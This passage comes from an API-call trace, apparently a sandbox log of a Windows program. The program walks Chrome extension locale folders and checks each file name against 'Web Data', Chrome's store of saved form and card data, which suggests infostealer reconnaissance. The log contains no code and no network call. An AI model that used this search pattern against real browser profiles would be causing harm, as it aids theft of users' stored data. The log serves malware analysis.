Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" [0054.388] LocalFree (hMem=0x74cf00) returned 0x0 [0054.388] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.388] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" [0054.388] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*" [0054.388] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.388] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.388] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.388] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.388] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.388] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.388] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.388] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.388] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.389] LocalFree (hMem=0x74cf00) returned 0x0 [0054.389] LocalFree (hMem=0x74d010) returned 0x0 [0054.389] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.389] lstrcmpiA (lpString1=".", lpString2="sk") returned -1 [0054.389] lstrcmpiA (lpString1="..", lpString2="sk") returned -1 [0054.389] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.389] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.389] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.389] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.389] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.389] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" [0054.389] LocalFree (hMem=0x74cf00) returned 0x0 [0054.389] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.389] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" [0054.389] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*" [0054.389] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.389] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.389] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.389] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.389] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.389] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.389] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.389] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.389] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.389] LocalFree (hMem=0x74cf00) returned 0x0 [0054.389] LocalFree (hMem=0x74d010) returned 0x0 [0054.389] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.389] lstrcmpiA (lpString1=".", lpString2="sl") returned -1 [0054.389] lstrcmpiA (lpString1="..", lpString2="sl") returned -1 [0054.389] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.389] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.389] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.389] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.389] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.389] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" [0054.389] LocalFree (hMem=0x74cf00) returned 0x0 [0054.390] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.390] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" [0054.390] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*" [0054.390] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.390] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.390] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.390] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.390] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.390] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.390] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.390] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.390] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.390] LocalFree (hMem=0x74cf00) returned 0x0 [0054.390] LocalFree (hMem=0x74d010) returned 0x0 [0054.390] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.390] lstrcmpiA (lpString1=".", lpString2="sr") returned -1 [0054.390] lstrcmpiA (lpString1="..", lpString2="sr") returned -1 [0054.390] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.390] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.390] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.390] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.390] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.390] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" [0054.390] LocalFree (hMem=0x74cf00) returned 0x0 [0054.390] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.390] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" [0054.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*" [0054.391] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.391] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.391] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.391] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.391] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.391] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.391] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.391] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.391] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.391] LocalFree (hMem=0x74cf00) returned 0x0 [0054.391] LocalFree (hMem=0x74d010) returned 0x0 [0054.391] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.391] lstrcmpiA (lpString1=".", lpString2="sv") returned -1 [0054.391] lstrcmpiA (lpString1="..", lpString2="sv") returned -1 [0054.391] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.391] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.391] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.391] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" [0054.391] LocalFree (hMem=0x74cf00) returned 0x0 [0054.391] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.391] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" [0054.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*" [0054.391] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.392] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.392] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.392] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.392] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.392] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.392] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.392] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.392] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.392] LocalFree (hMem=0x74cf00) returned 0x0 [0054.392] LocalFree (hMem=0x74d010) returned 0x0 [0054.392] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.392] lstrcmpiA (lpString1=".", lpString2="th") returned -1 [0054.392] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.392] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.392] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.392] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" [0054.392] LocalFree (hMem=0x74cf00) returned 0x0 [0054.392] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" [0054.392] lstrcatA (in: lpString1="C:\\Users\\aDU0VK 